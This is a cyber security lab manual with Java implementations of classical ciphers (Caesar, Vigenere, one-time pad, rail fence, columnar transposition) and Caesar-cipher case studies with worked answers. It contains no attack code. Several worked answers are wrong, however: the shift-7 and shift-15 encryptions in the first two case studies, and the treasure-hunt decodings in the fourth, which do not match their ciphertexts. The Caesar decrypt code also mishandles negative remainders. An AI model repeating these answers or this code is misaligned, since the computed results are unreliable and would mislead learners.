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AD18712 - CYBER SECURITY LABORATORY 

EX NO:1-A.i               IMPLEMENTATION OF CAESAR CIPHER 

DATE: 

 

AIM: 

To perform Caesar Cipher technique for the given input text. 

DESCRIPTION: 

1. Caesar Cipher  works by shifting the letters in the plaintext message by a certain number 
of positions, known as the “shift” or “key”. 

2. It’s simply a type of substitution cipher, i.e., each letter of a given text is replaced by a 
letter with a fixed number of positions down the alphabet. 

ALGORITHM: 

1. Choose a shift value between 1 and 25. 
2. Write down the alphabet in order from A to Z. 
3. Create a new alphabet by shifting each letter of the original alphabet by the shift value.  
4. Replace each letter of the message with the corresponding letter from the new alphabet. 

5. To decrypt the message, shift each letter back by the same amount. 
 

PROGRAM: 
 
import java.util.*; 
class caesar_cipher{ 
static StringBuilder encrypt(String str, int n){ 
StringBuilder res = new StringBuilder(); 
for(int i=0;i<str.length();i++){ 
if((int)str.charAt(i)>=65 && (int)str.charAt(i)<=90){ 
char c = (char)(((int)(str.charAt(i)+n-65))%26+65); 
res.append(c); 
} 
else if ((int)str.charAt(i)>=97 && (int)str.charAt(i)<=122){ 
char a = (char)(((int)(str.charAt(i)+n-97))%26+97); 
res.append(a); 
} 
} 
return res; 
} 
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static StringBuilder decrypt(String str, int n){ 
StringBuilder res = new StringBuilder(); 
for(int i=0;i<str.length();i++){ 
if((int)str.charAt(i)>=65 && (int)str.charAt(i)<=90){ 
char c = (char)(((int)(str.charAt(i)-n-65))%26+65); 
res.append(c); 
} 
else if ((int)str.charAt(i)>=97 && (int)str.charAt(i)<=122){ 
char a = (char)(((int)(str.charAt(i)-n-97))%26+97); 
res.append(a); 
} 
} 
return res; 
} 
 
public static void main(String[] args){ 
Scanner s = new Scanner(System.in); 
System.out.print("Enter the String : "); 
String str = s.nextLine(); 
System.out.print("Enter the key value : "); 
int shift = s.nextInt(); 
StringBuilder en = encrypt(str,shift); 
StringBuilder de = decrypt(en.toString(),shift); 
System.out.print("Encrypted String : "); 
System.out.println(en.toString()); 
System.out.print("Decrypted String : "); 
System.out.println(de.toString()); 
} 
} 
 
OUTPUT 
Enter the string : HELLO 
Enter key value:3 
Encrypted= KHOOR 
Decrypted= HELLO 
 
 
RESULT: 

Thus the Caesar Cipher technique has been executed successfully 
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AD18712- CYBER SECURITY LABORATORY 

EX NO:1-A.ii             IMPLEMENTATION OF VIGENERE CIPHER 

DATE: 

 

AIM 

To perform Vigenere Cipher technique for the given input text. 

DESCRIPTION 

1. Vigenere Cipher uses a simple form of polyalphabetic substitution using multiple 
substitution alphabets.  

2. The encryption of the original text is usually done using the Vigenère square or Vigenère 
table. The table consists of the alphabets written out 26 times in different rows, each 
alphabet shifted cyclically to the left compared to the previous alphabet, corresponding to 
the 26 possible Caesar Ciphers. 

3. A more easy implementation could be to visualize Vigenère algebraically by converting 
[A-Z] into numbers [0–25].  

4. For Encryption, Ei = (Pi + Ki) mod 26 
5. For Decryption ,Di = (Ei - Ki) mod 26 

ALGORITHM 

1.  Create a key that repeats in a cyclic manner until its length matches the length of the 
plaintext. 

2.  Convert each character of the plaintext and the corresponding character of the key to a 
numerical value (0-25) based on their position in the alphabet. 

3. Perform encryption and decryption and covert the result value to a character to form the 
ciphertext and plain text respectively 

PROGRAM    

import java.util.*; 

class Vig_cipher{ 

static String generateKey(String str, String key) 

{ 

    int x = str.length(); 

    for (int i = 0; ; i++) 

    { 
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        if (x == i) 

            i = 0; 

        if (key.length() == str.length()) 

            break; 

        key+=(key.charAt(i)); 

    } 

    return key; 

} 

static String cipherText(String str, String key) 

{ 

    String cipher_text=""; 

    for (int i = 0; i < str.length(); i++) 

    { 

        int x = (str.charAt(i) + key.charAt(i)) %26; 

        x += 'A'; 

 

        cipher_text+=(char)(x); 

    } 

    return cipher_text; 

} 

static String originalText(String cipher_text, String key) 

{ 

    String orig_text=""; 

    for (int i = 0 ; i < cipher_text.length() && 

                            i < key.length(); i++) 

    { 

        int x = (cipher_text.charAt(i) - 
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                    key.charAt(i) + 26) %26; 

        x += 'A'; 

        orig_text+=(char)(x); 

    } 

    return orig_text; 

} 

public static void main(String[] args){ 

Scanner s = new Scanner(System.in); 

System.out.print("Enter the String : "); 

String str = s.nextLine(); 

System.out.print("Enter the key word : "); 

String keyword = s.nextLine(); 

String key = generateKey(str, keyword); 

String cipher_text = cipherText(str, key); 

System.out.println("Ciphertext : " + cipher_text + "\n"); 

System.out.println("Original/Decrypted Text : " + originalText(cipher_text, key)); 

} 

} 

 

OUTPUT 

Enter Plain text : GEEKSFORGEEKS 
Enter Keyword : AYUSH 
Ciphertext : GCYCZFMLYLEIM 
Decrypted Text : GEEKSFORGEEKS 
 
 
 
 
RESULT: 

Thus the Vigenere Cipher technique has been implemented successfully. 
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AD18712- CYBER SECURITY LABORATORY 

EX NO: 1-A.iii    IMPLEMENTATION OF ONE TIME PAD ALGORITHM 

DATE: 

 

AIM 

To perform One Time Pad algorithm technique for the given input text. 

DESCRIPTION 

1.  One Time Pad algorithm is the improvement of the Vernam Cipher where we assign a 
number to each character of the Plain-Text. 

2.  The ciphertext generated by the One-Time pad is random, so it does not have any statistical 
relation with the plain text. 

3. It can be used for low-bandwidth channels requiring very high security(ex. for military 
uses). 

ALGORITHM 

1.  Initialize cipher array of key length which stores the sum of corresponding no.'s of 
plainText and key. 

2. Calculate the sum and if the sum is greater than 25 subtract 26 from it and store that 
resulting value. 

3. For Decryption, find out the difference and if it is less than 0 add 26 and store it in the 
array. 

4. Convert integer values into corresponding character to generate cipher and plain text. 

PROGRAM 

import java.util.*; 

public class Main{ 

public static String Encrypt(String text, String key) 

{ 

String cipherText = ""; 

int cipher[] = new int[key.length()]; 

for (int i = 0; i < key.length(); i++){ 

cipher[i] = text.charAt(i) - 'A'+ key.charAt(i)- 'A'; 

} 
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for (int i = 0; i < key.length(); i++) { 

if (cipher[i] > 25) { 

cipher[i] = cipher[i] - 26; 

} 

} 

for (int i = 0; i < key.length(); i++) { 

int x = cipher[i] + 'A'; 

cipherText += (char)x; 

} 

return cipherText; 

} 

public static String Decrypt(String s, String key) 

{ 

String plainText = ""; 

int plain[] = new int[key.length()]; 

for (int i = 0; i < key.length(); i++) { 

plain[i] = s.charAt(i) - 'A' - (key.charAt(i) - 'A'); 

} 

for (int i = 0; i < key.length(); i++) { 

if (plain[i] < 0) { 

plain[i] = plain[i] + 26; 

} 

} 

for (int i = 0; i < key.length(); i++) { 

int x = plain[i] + 'A'; 

plainText += (char)x; 

} 
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return plainText; 

} 

public static void main(String[] args) 

{ 

Scanner s = new Scanner(System.in); 

System.out.println("Enter the plain text in uppercase:"); 

String plain = s.nextLine(); 

System.out.println("Enter the key in uppercase:"); 

String key = s.nextLine(); 

String encryptText = Encrypt(plain, key); 

System.out.println("Cipher Text - " + encryptText); 

String decryptText = Decrypt(encryptText, key); 

System.out.println("Message - " + decryptText); 

} 

} 

 

OUTPUT: 

Enter plain text : HELLO 
Enter Key word : MONEY 
Cipher Text - TSYPM 
Message - HELLO 
 

 

 

 
 
 

 
RESULT: 

Thus One Time Pad algorithm technique has been implemented successfully. 
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AD18712 - CYBER SECURITY LABORATORY 

EX NO:1-B.i                  IMPLEMENTATION OF RAIL FENCE 

DATE: 

 

AIM: 

To perform Rail Fence technique for the given input text. 

DESCRIPTION: 

1. Zigzag Pattern: The Rail Fence Cipher arranges the plaintext in a zigzag pattern across 
multiple rows (rails) based on a specified number of rails (key). 

2. Encryption Process: Characters are placed on the rails in a diagonal pattern, moving 
downwards and then upwards, filling the rails sequentially. 

3. Cipher Text Formation: After filling the rails, the encrypted message is formed by reading 
the characters row by row, concatenating them to create the cipher text. 

4. Decryption Process: To decrypt, the zigzag pattern is reconstructed, and characters from the 
cipher text are placed back into their original positions, allowing the original message to be 
retrieved. 

ALGORITHM: 

1. Set up the input text and number of rails (key). 

2. Traverse the text and place characters in a zigzag pattern across the rails. 

3.  Concatenate characters from each rail to create the encrypted text. 

4. Determine the zigzag pattern positions and place cipher text characters into them. 

5. Traverse the rails in the zigzag pattern to recover the original message. 

 
PROGRAM: 
 
Import java.util.*; 
 
class rail_fence{ 
 
public static String encrypt(String text,int key) 
{ 
char[][] rail=new char[key][text.length()]; 
 
for (int i=0;i<key;i++) 
Arrays.fill(rail[i], '-'); 
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boolean down=false; 
int row=0,col=0; 
 
for(int i=0;i<text.length();i++){ 
if(row==0||row==key-1) 
down=!down; 
rail[row][col++]=text.charAt(i); 
if(down) 
row++; 
else 
row--; 
} 
StringBuilder result=new StringBuilder(); 
for(int i=0;i<key;i++) 
for(int j=0;j<text.length();j++) 
if(rail[i][j]!='-') 
result.append(rail[i][j]); 
return result.toString(); 
} 
 
public static String decrypt(String cipher,int key) 
 { 
  char[][] rail=new char[key][cipher.length()]; 
  
   for(int i=0;i<key;i++) 
     Arrays.fill(rail[i],'-'); 
 
    boolean ddown=true; 
  int row=0,col=0; 
  
    for(int i=0;i<cipher.length();i++){ 
     if(row==0) 
      ddown=true; 
     if(row==key-1) 
       ddown=false; 
     rail[row][col++] = '*'; 
     if(ddown) 
      row++; 
     else 
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      row--; 
     } 
     int index=0; 
     for(int i=0;i<key;i++) 
      for(int j=0;j<cipher.length();j++) 
       if(rail[i][j] == '*' && index < cipher.length()) 
         rail[i][j] = cipher.charAt(index++); 
          
      StringBuilder result=new StringBuilder(); 
      row = 0; 
      col = 0; 
      
      for(int i=0;i<cipher.length();i++){ 
      if(row==0) 
        ddown=true; 
       if(row==key-1) 
        ddown=false; 
       if(rail[row][col]!='*') 
        result.append(rail[row][col++]); 
       if(ddown) 
        row++; 
       else 
        row--; 
  } 
  return result.toString(); 
 } 
public static void main(String[] args) 
{ 
Scanner s=new Scanner(System.in); 
System.out.println("Enter the Plain text:"); 
String plainText=s.nextLine(); 
System.out.println("Enter the key:"); 
int key=s.nextInt(); 
String railFence=encrypt(plainText,key); 
System.out.println("Encrypted Message:"+railFence); 
String message=decrypt(railFence,key); 
System.out.println("Decrypted Message:"+message); 
} 
} 
OUTPUT 
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Enter the plain text : CYBERSECURITY 
Enter key value: 3 
Encrypted message= CRUYYESCRTBEI 
Decrypted message= CYBERSECURITY 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
RESULT: 

Thus the Rail Fence technique has been executed successfully. 
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AD18712 - CYBER SECURITY LABORATORY 

EX NO:1-B.ii   IMPLEMENTATION OF ROW&COLUMN TRANSFORMATION   
               CIPHER 

DATE: 

 

AIM: 

To perform Row & Column Transformation Cipher technique for the given input text. 

DESCRIPTION: 

1. Row Transformation: In this step, the plain text is written into a matrix row-wise, filling each 
row sequentially with characters from the text. 

2. Column Permutation: After filling the matrix, the columns are rearranged according to a 
predetermined key or sequence, effectively scrambling the order of the characters in the text. 

3. Ciphertext Generation: The ciphered text is generated by reading the characters column-wise 
from the rearranged matrix, producing the final encrypted message. 

4. Key Importance: The security of the cipher relies on the secrecy of the key used for column 
permutation. Without the key, decrypting the message is challenging. 

5. Decryption Process: To decrypt, the ciphertext is written into a matrix column-wise, then the 
columns are rearranged back to their original order using the key, followed by reading the plain 
text row-wise. 

ALGORITHM: 

Write the plain text into a matrix row-wise based on the key's length, padding with extra characters 
if necessary. 
Rearrange the matrix columns according to the sequence specified by the key. 
Read the matrix column-wise to generate the ciphertext. 
Populate a matrix column-wise using the ciphertext and reorder the columns based on the key. 
Read the matrix row-wise to retrieve the original plain text, removing any padding characters. 
 
PROGRAM: 
 
import java.util.*; 
public class Main { 
    static Map<Character, Integer> keyMap = new HashMap<>(); 
    static void setPermutationOrder(String key) { 
        for (int i = 0; i < key.length(); i++) { 
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            keyMap.put(key.charAt(i), i); 
        } 
    } 
    static String encryptMessage(String msg, String key) { 
        int row, col; 
        StringBuilder cipher = new StringBuilder(); 
        col = key.length(); 
        row = (int) Math.ceil((double) msg.length() / col); 
        char[][] matrix = new char[row][col]; 
        for (int i = 0, k = 0; i < row; i++) { 
            for (int j = 0; j < col; ) { 
                if (k < msg.length()) { 
                    char ch = msg.charAt(k); 
                    if (Character.isLetter(ch) || ch == ' ') { 
                        matrix[i][j] = ch; 
                        j++; 
                    } 
                    k++; 
                } else { 
                    matrix[i][j] = '_'; 
                    j++; 
                } 
            } 
        } 
        for (Map.Entry<Character, Integer> entry : keyMap.entrySet()) { 
            int columnIndex = entry.getValue(); 
            for (int i = 0; i < row; i++) { 
                if (Character.isLetter(matrix[i][columnIndex]) || matrix[i][columnIndex] == ' ' || 
matrix[i][columnIndex] == '_') { 
                    cipher.append(matrix[i][columnIndex]); 
                } 
            } 
        } 
        return cipher.toString(); 
    } 
    static String decryptMessage(String cipher, String key) { 
        int col = key.length(); 
 
        int row = (int) Math.ceil((double) cipher.length() / col); 
        char[][] cipherMat = new char[row][col]; 
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        int k = 0; 
        for (int j = 0; j < col; j++) { 
            for (int i = 0; i < row; i++) { 
                cipherMat[i][j] = cipher.charAt(k); 
                k++; 
            } 
        } 
        int index = 0; 
        for (Map.Entry<Character, Integer> entry : keyMap.entrySet()) { 
            entry.setValue(index++); 
        } 
        char[][] decCipher = new char[row][col]; 
        for (int l = 0; l < key.length(); l++) { 
            int columnIndex = keyMap.get(key.charAt(l)); 
            for (int i = 0; i < row; i++) { 
                decCipher[i][l] = cipherMat[i][columnIndex]; 
            } 
        } 
        StringBuilder msg = new StringBuilder(); 
        for (int i = 0; i < row; i++) { 
            for (int j = 0; j < col; j++) { 
                if (decCipher[i][j]!='_') { 
                    msg.append(decCipher[i][j]); 
                } 
            } 
        } 
        return msg.toString(); 
    } 
    public static void main(String[] args) { 
        Scanner s=new Scanner(System.in); 
        System.out.println("Enter the Plain text:"); 
        String plainText=s.nextLine(); 
        System.out.println("Enter the key:"); 
        String key=s.nextLine(); 
        setPermutationOrder(key); 
        String cipher=encryptMessage(plainText,key); 
        System.out.println("Encrypted Message: "+cipher); 
        String message=decryptMessage(cipher,key); 
        System.out.println("Decrypted Message:"+message); 
    }} 
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OUTPUT 
Enter the plain text : NARUTOUZUMAKI 
Enter key value: RAMEN 
Encrypted message= AUKNOAUU_RZITM_ 
Decrypted message= NARUTOUZUMAKI 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
RESULT: 
Thus the Row & Column transformation cipher technique has been executed successfully. 
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EX NO: 1               STUDY OF SYMMETRIC ENCRYPTION TECHNIQUES  

DATE:                         A) SUBSTITUTION CIPHERS-CAESAR CIPHER 

  

 

CASE STUDY 1: The Lost Scroll 

In ancient Rome, a general named Cassius faces a challenge: he needs to send a secret message to 
his allies about an upcoming battle. Cassius decides to use a Caesar Cipher, a simple encryption 
method, to protect his communication. The Caesar Cipher works by shifting each letter in the 
message by a certain number of positions in the alphabet. Cassius chooses a shift of 4 for this task. 
However, the security of his method comes into question, and we explore its effectiveness in this 
case study. 

AIM: 

To demonstrate the encryption and decryption process of a message using the Caesar Cipher with 
different shifts. In particular: 

1. Encrypt a message "ATTACK AT DAWN" with a Caesar Cipher using a shift of 4. 

2. Decode the message "EXXEGO EX HEAR" knowing it was encoded with a Caesar Cipher 
using a shift of 4. 

3. Assess the security of the Caesar Cipher. 

4. Encrypt the message "ATTACK AT DAWN" using a Caesar Cipher with a shift of 7. 

ALGORITHM: 

The Caesar Cipher shifts each letter in the message by a fixed number of positions (shift) down or 
up the alphabet. The algorithm can be described in two main steps: 

1. Encryption: For each letter in the plaintext, replace it with the letter shifted by the 
specified number of positions forward in the alphabet. 

2. Decryption: For each letter in the encrypted message, replace it with the letter shifted by 
the specified number of positions backward in the alphabet. 

Encryption Process: 

 For each letter in the message: 

o Convert it to its corresponding position in the alphabet (A = 0, B = 1, ..., Z = 25). 

o Apply the shift by adding the shift value to the current position. 

o Ensure the new position is within the range of the alphabet (use modulo 26). 

o Convert the new position back to a letter. 
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Decryption Process: 

 For each letter in the encrypted message: 

o Convert it to its corresponding position in the alphabet. 

o Apply the inverse of the shift by subtracting the shift value. 

o Ensure the result is within the range of the alphabet (use modulo 26). 

o Convert the new position back to a letter. 

 

 RESULTS: 

1. What will the encrypted message look like after applying a Caesar Cipher with a shift 
of 4? 
To encrypt the message "ATTACK AT DAWN" using a Caesar Cipher with a shift of 4, 
each letter in the message is shifted 4 positions forward in the alphabet. 

 'A' becomes 'E' 
 'T' becomes 'X' 
 'C' becomes 'G' 
 'K' becomes 'O' 
 'D' becomes 'H' 
 'W' becomes 'A' 
 'N' becomes 'R' 

The encrypted message would be: 
"EXXEGO EX HEAR" 
 

2. If the allies receive the message "EXXEGO EX HEAR," how can they decode it using 
the Caesar Cipher? What should they do if they know the shift is 4? 
 
To decode the message "EXXEGO EX HEAR", knowing that the Caesar Cipher shift is 4, 
we shift each letter backwards by 4 positions: 

 'E' becomes 'A' 
 'X' becomes 'T' 
 'G' becomes 'C' 
 'O' becomes 'K' 
 'H' becomes 'D' 
 'A' becomes 'W' 
 'R' becomes 'N' 

So, the decoded message is: "ATTACK AT DAWN" 
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3. Cassius is concerned about the safety of his message. Explain how secure a Caesar 
Cipher is and what could happen if the enemy intercepts the message. 

 
The Caesar Cipher is not very secure by modern standards. It is vulnerable to several forms 
of attack: 

 Brute Force Attack: Since there are only 25 possible shifts (1 to 25), an attacker can simply 
try all possible shifts until the message is readable. 

 Frequency Analysis: In longer messages, common letters like 'E', 'T', and 'A' appear 
frequently in English, allowing an attacker to match letter frequencies to decrypt the 
message without knowing the exact shift. 
If the enemy intercepts the message, they could easily decrypt it using one of these 
methods, rendering the secret message insecure. 
 

4. Suppose Cassius decides to change the shift to 7. What would the new encrypted 
message be for "ATTACK AT DAWN"? 
 
If Cassius changes the shift to 7, we shift each letter of the original message "ATTACK 
AT DAWN" by 7 positions forward in the alphabet: 

 'A' becomes 'H' 
 'T' becomes 'A' 
 'C' becomes 'J' 
 'K' becomes 'R' 
 'D' becomes 'K' 
 'W' becomes 'D' 
 'N' becomes 'U' 

The new encrypted message would be: 
"HAAJHR HA KDRU" 
 
 
 
 
 

 

RESULT: 

This case study demonstrates the process of encrypting and decrypting messages using a 
Caesar Cipher with different shifts. Although simple to implement, the Caesar Cipher 
provides very little security due to its vulnerability to brute force and frequency analysis 
attacks. A more secure encryption algorithm should be used for sensitive information in 
modern contexts. 
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CASE STUDY 2:  The Secret Recipe 

A famous Roman chef, Quintus, has a secret recipe that he shares only with his apprentice. He 
encrypts the recipe using a Caesar Cipher with a shift of 3. The original message is "BOIL 
WATER FOR TEN MINUTES." 

AIM: 

To encrypt a secret recipe using a Caesar Cipher with a shift of 3, and then demonstrate the 
decryption process. Additionally, to discuss possible methods of breaking the Caesar Cipher and 
analyze whether increasing the shift would improve security. 

ALGORITHM: 

The Caesar Cipher algorithm shifts each letter in the message by a fixed number of positions (in 
this case, by 3). The steps involve: 

1. Encryption: Each letter is shifted forward by 3 positions in the alphabet. 

2. Decryption: The encrypted message is shifted backward by 3 positions to retrieve the original 
message. 

Encryption Process: 

 For each character in the original message, shift the letter 3 positions forward. 

 Keep non-alphabetical characters (e.g., spaces) unchanged. 

Decryption Process: 

 For each character in the encrypted message, shift the letter 3 positions backward to its original 
position. 

 Keep non-alphabetical characters unchanged. 

 

Implementation Results: 

1. Encrypt the recipe using a Caesar Cipher (shift 3): 

o Original recipe: "BOIL WATER FOR TEN MINUTES" 

o Encrypted message: "ERLO ZDWHU IRU WHQ PLQXWHV" 

2. Decrypt the message "ERLO ZDWHU IRU WHQ PLQXWHV" (shift 3): 

o Encrypted message: "ERLO ZDWHU IRU WHQ PLQXWHV" 

o Decrypted message: "BOIL WATER FOR TEN MINUTES" 
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Answers to the Questions: 

1. How does Quintus encrypt the recipe using the Caesar Cipher? 

Quintus encrypts the message by shifting each letter of the original message by 3 positions 
forward in the alphabet: 

 'B' becomes 'E' 

 'O' becomes 'R' 

 'I' becomes 'L' 

 'L' becomes 'O' 

 'W' becomes 'Z' 

 'A' becomes 'D' 

 'T' becomes 'W' 

 'E' becomes 'H' 

 'R' becomes 'U' 

 and so on. 

The encrypted message is: "ERLO ZDWHU IRU WHQ PLQXWHV" 

2. Steps the apprentice should take to decrypt the message "ERLO ZDWHU IRU WHQ 
PLQXWHV": 

The apprentice knows that the message was encrypted with a Caesar Cipher and that the shift is 
3. The apprentice would: 

 Shift each letter in the message backward by 3 positions in the alphabet. 

 Non-alphabetical characters (like spaces) remain unchanged. 

This decryption process will recover the original message: 
"BOIL WATER FOR TEN MINUTES" 

3. What methods could a third party use to break the Caesar Cipher? 

If a third party intercepts the encrypted message, they can use the following methods to break it: 

 Brute Force Attack: Since there are only 25 possible shifts in the Caesar Cipher (excluding the 
trivial shift of 0), the third party can try all possible shifts to decrypt the message. For each shift, 
they would apply the decryption process and check if the result makes sense. 

 Frequency Analysis: In English, certain letters (like 'E', 'T', 'A', and 'O') appear more frequently 
than others. The third party can analyze the frequency of letters in the encrypted message and 
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compare it with the expected frequencies in English text. Once they identify the most common 
letter in the cipher, they can estimate the shift based on the difference in frequency. 

These methods are quite feasible because the Caesar Cipher is inherently weak due to its limited 
number of possible shifts and its failure to obscure letter frequencies. 

4. Would increasing the shift to 15 make the message more secure? 

No, increasing the shift to 15 would not significantly improve the security of the Caesar Cipher. 
The reason is that the number of possible shifts remains limited to 25 (because a shift of 26 or 
more simply wraps around to the original message). Therefore, a shift of 15 can still be easily 
broken by brute force, as the third party can try all 25 possible shifts in a short amount of time. 
Additionally, frequency analysis would remain effective. 

Although increasing the shift to 15 changes the appearance of the encrypted message, it does not 
fundamentally make the cipher more secure. 

Encrypted message with shift 15 for "BOIL WATER FOR TEN MINUTES": 
"QDXA LPIMA UDA IRC BXCJIDTIH" 

 

 

 

 

 

 

 

 

 

 

 

RESULT: 

This case study demonstrates the encryption and decryption process using a Caesar Cipher with a 
shift of 3. The algorithm is simple to implement but also easy to break using brute force or 
frequency analysis. Increasing the shift (e.g., to 15) does not significantly improve security, as the 
cipher remains vulnerable to attacks. More secure encryption algorithms should be used in modern 
contexts. 
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CASE STUDY 3: The General's Secret Orders  
 
In World War II, a general named Thompson needs to send a top-secret order tohis battalion. He 
uses a Caesar Cipher with a shift of 5 to encrypt his message. Theoriginal message is "HOLD 
THE LINE." 
 

AIM: 

To demonstrate the encryption and decryption of a military message using a Caesar Cipher with 
a shift of 5, and analyze the security of using the Caesar Cipher for transmitting sensitive orders 
in real-time military operations. 

ALGORITHM: 

The Caesar Cipher is a type of substitution cipher where each letter in the plaintext is shifted by 
a fixed number (shift) of positions down the alphabet. The decryption is done by reversing this 
shift. 

Encryption Process: 

 For each letter in the original message, shift it forward by 5 positions. 

 Non-alphabetic characters remain unchanged. 

Decryption Process: 

 For each letter in the encrypted message, shift it backward by 5 positions. 

 Non-alphabetic characters remain unchanged 

 

IMPLEMENTATION RESULTS: 

1. Encrypt the message using a Caesar Cipher (shift 5): 

o Original message: "HOLD THE LINE" 

o Encrypted message: "MTQI YMJ QNSJ" 

2. Decrypt the message "MTQI YMJ QNSJ" (shift 5): 

o Encrypted message: "MTQI YMJ QNSJ" 

o Decrypted message: "HOLD THE LINE" 
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ANSWERS TO THE QUESTIONS: 

 

1. What will the encrypted message look like after applying a Caesar Cipher with a shift of 
5? 

After applying a shift of 5 to the message "HOLD THE LINE": 

 'H' becomes 'M' 

 'O' becomes 'T' 

 'L' becomes 'Q' 

 'D' becomes 'I' 

 'T' becomes 'Y' 

 'H' becomes 'M' 

 'E' becomes 'J' 

 'L' becomes 'Q' 

 'I' becomes 'N' 

 'N' becomes 'S' 

 'E' becomes 'J' 

The  encrypted message is: "MTQI YMJ QNSJ" 

 

2. If a battalion soldier receives the message "MTQI YMJ QNSJ," how can they decode it? 

To decode the message, the soldier must reverse the Caesar Cipher by shifting each letter 
backward by 5 positions: 

 'M' becomes 'H' 

 'T' becomes 'O' 

 'Q' becomes 'L' 

 'I' becomes 'D' 

 'Y' becomes 'T' 

 'M' becomes 'H' 

 'J' becomes 'E' 

 'Q' becomes 'L' 
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 'N' becomes 'I' 

 'S' becomes 'N' 

 'J' becomes 'E' 

The decrypted message is: "HOLD THE LINE" 

 

3. How secure is a Caesar Cipher for transmitting such orders, and what risks are involved? 

The Caesar Cipher is not secure for transmitting sensitive orders, especially in real-time military 
operations, because: 

 Brute Force Attacks: There are only 25 possible shifts in the Caesar Cipher (excluding 
0), so an attacker could try all possible shifts and decode the message relatively quickly. 

 Frequency Analysis: In any language, certain letters appear more frequently than others 
(e.g., 'E' is the most common letter in English). By analyzing the frequency of letters in the 
encrypted message, an attacker can estimate the shift and decrypt the message without 
needing to try all shifts. 

Risks: 

 If intercepted, the encrypted message can be cracked within minutes, revealing top-secret 
military orders. 

 Once the method of encryption is known, all future messages using the Caesar Cipher are 
vulnerable to decryption by the enemy. 

 

4. How could the general improve the security of the message in real-time military operations? 

To improve the security of the message, the general could: 

1. Use a More Advanced Cipher: 

o A stronger cipher, such as the Vigenère Cipher, which uses a keyword instead of 
a single shift, making brute-force attacks much harder. 

o Alternatively, modern encryption techniques such as AES (Advanced Encryption 
Standard) would provide far superior security compared to the Caesar Cipher. 

2. Key Rotation: 

o Regularly change the cipher key (e.g., shift value or encryption method) to prevent 
attackers from using the same technique to decrypt multiple messages. 

3. Use One-Time Pads: 
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o In military operations, a one-time pad (where each message is encrypted with a 
unique, random key known only to the sender and receiver) is theoretically 
unbreakable if used correctly. 

4. Encrypt with Public-Key Cryptography: 

o In modern systems, public-key cryptography (like RSA) can be used to securely 
transmit keys, after which the actual message can be encrypted with symmetric 
encryption methods like AES. 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

RESULT: 

The Caesar Cipher is too weak for real-time military communications due to its susceptibility to 
brute force and frequency analysis attacks. Though it is simple and easy to implement, it offers 
very little security. To secure sensitive orders, General Thompson should adopt more advanced 
encryption methods such as AES, Vigenère Cipher, or one-time pads. Additionally, employing 
public-key cryptography would provide a modern and robust solution to secure military 
communications. 
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CASE STUDY 4: Annual treasure hunt  

In a small town, a local museum holds an annual treasure hunt event. This year, the curator, Mrs. 
Amelia, decided to add a twist to the event by including encrypted messages in the clues. She 
used a Caesar cipher, shifting each letter by a certain number of places down the alphabet. The 
participants, a group of young detectives, found the first clue, which was a pieceof paper with 
the following encrypted message: "Xlmw mw xlmro lmwi, xlmro mw gsqtpixih." They 
quickly realized it was a Caesar cipher but didn't know the shift value. They remembered that 
Mrs. Amelia liked simple puzzles, so they guessed that the shift might be small. After some trial 
and error, they deciphered the message to reveal the following clue: "This is third hint, third is 
completed." With each subsequent clue, the shift value changed slightly, keeping the young 
detectives on their toes. They had to solve each encrypted message to progress through the 
treasure hunt. One of the clues, however, stumped them: "Qeb ixwv lrq ql ivrpb!" They knew 
they were close to the treasure but couldn't figure out the shift value for this one 

 

AIM: 

To demonstrate how to decrypt a Caesar Cipher message with an unknown shift value, as part of 
a treasure hunt event organized by a museum. The objective is to find the correct shift value to 
decode the given message "Qeb ixwv lrq ql ivrpb!" 

ALGORITHM: 

 Understand the Caesar Cipher: In a Caesar cipher, each letter in the plaintext is shifted 
by a fixed number down the alphabet. For example, with a shift of 1, A becomes B, B 
becomes C, and so on. If the shift goes beyond Z, it wraps around to A. 

 Deciphering Process: 

 For each character in the encrypted message: 

o If the character is a letter (A-Z or a-z): 

 Shift it back by the given shift value. 

 Wrap around if necessary. 

o If the character is not a letter (like spaces or punctuation), leave it unchanged. 

 Brute Force Decryption: Since the problem states that the shift value is small, we can try 
all possible shift values (1 to 25) to find the correct one that results in a meaningful 
message. 
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ANSWERS TO QUESTIONS: 

1. What is the Caesar cipher, and how does it work? 

The Caesar cipher is a type of substitution cipher named after Julius Caesar, who reportedly used 
it in his private correspondence. It works by shifting each letter of the plaintext (the original 
message) by a fixed number of places down or up the alphabet. 

 How it works: 

o Each letter in the alphabet is assigned a position (A=0, B=1, C=2, ..., Z=25). 

o To encrypt a letter, you add the shift value to its position. For example, with a shift 
of 3, A (0) becomes D (3), B (1) becomes E (4), and so on. 

o If the shift goes beyond Z, it wraps around to the beginning of the alphabet (A). 

o For decryption, you simply reverse the process by subtracting the shift value from 
the letter's position. 

2. Explain the process the young detectives used to decode the first message. 

To decode the first message, "Xlmw mw xlmro lmwi, xlmro mw gsqtpixih," the young 
detectives followed these steps: 

1. Recognizing the Cipher: They recognized that the message was encrypted using a Caesar 
cipher and that a shift value was involved. 

2. Guessing the Shift: Knowing that Mrs. Amelia preferred simple puzzles, they guessed that 
the shift value might be small. 

3. Trial and Error: They tried various shift values (most likely from 1 to 5) until they found 
that a shift of 4 successfully decrypted the message. 

4. Decoding: With the correct shift, they transformed the encrypted message back into plain 
text, revealing the clue: "This is third hint, third is completed." 

3. If the original message for "Qeb ixwv lrq ql ivrpb!" is "The game ends at dawn!", what 
is the shift value? 
 
To determine the shift value used in the Caesar Cipher for the original message "The game 
ends at dawn!" and the encrypted message "Qeb ixwv lrq ql ivrpb!", you can compare 
corresponding letters from both messages. 
Calculate the Shift: 

 Convert each letter to its corresponding position in the alphabet (A=0, B=1, ..., Z=25): 
o T is the 20th letter (T = 19 in 0-indexing). 
o Q is the 17th letter (Q = 16 in 0-indexing). 

 For our letters: Shift=19−16=3\text{Shift} = 19 - 16 = 3 
 Shift=19−16=3 
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4. How would you decrypt a message if you didn’t know the shift value in advance? 

If the shift value is unknown, you can decrypt a message using the following methods: 

1. Brute Force Attack: Try every possible shift value (1 through 25) and see which one 
produces a coherent message. This method is effective due to the limited number of shifts. 

2. Frequency Analysis: Analyze the frequency of letters in the encrypted message. Common 
letters in the English language are 'E', 'T', 'A', 'O', 'I', and 'N'. By identifying the most 
frequent letters in the ciphertext and matching them to common letters in English, you can 
deduce the possible shift. 

3. Pattern Recognition: Look for common short words (like "the," "and," "is") or letter 
